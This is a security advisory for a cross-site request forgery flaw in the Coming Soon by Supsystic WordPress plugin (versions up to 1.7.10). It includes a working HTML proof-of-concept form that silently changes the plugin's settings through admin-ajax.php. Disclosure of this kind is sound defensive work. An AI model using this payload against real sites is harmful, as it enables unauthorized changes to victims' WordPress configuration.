CVE-2023-22714 - Coming Soon by Supsystic <= 1.7.10 Cross Site Request Forgery
Details
Detail about software affected by CVE-2023-22714.
| Parameter | Description |
|---|---|
| Software | Coming Soon by Supsystic |
| Type | WordPress Plugin |
| Vulnerable Version | <= 1.7.10 |
| Classification | Cross Site Request Forgery (CSRF) |
| Required privilege | Unauthenticated |
| Publicly disclosed | 19.01.2023 |
| Plugin URL | https://wordpress.org/plugins/coming-soon-by-supsystic/ |
Researcher
This vulnerability was discovered by @yuyudhn.
Description
yuyudhn discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Coming Soon by Supsystic Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. For example a password change which will then allow the malicious actor to login into the admin account. This vulnerability has not been known to be fixed yet.
Proof of Concept
CSRF Update Settings:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/wordpress/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="opt_values[cs_mode]" value="dsbl" />
<input type="hidden" name="opt_values[exclude_or_show_links]" value="CSRF Change Value" />
<input type="hidden" name="mod" value="options" />
<input type="hidden" name="action" value="saveGroup" />
<input type="hidden" name="pl" value="scs" />
<input type="hidden" name="reqType" value="ajax" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>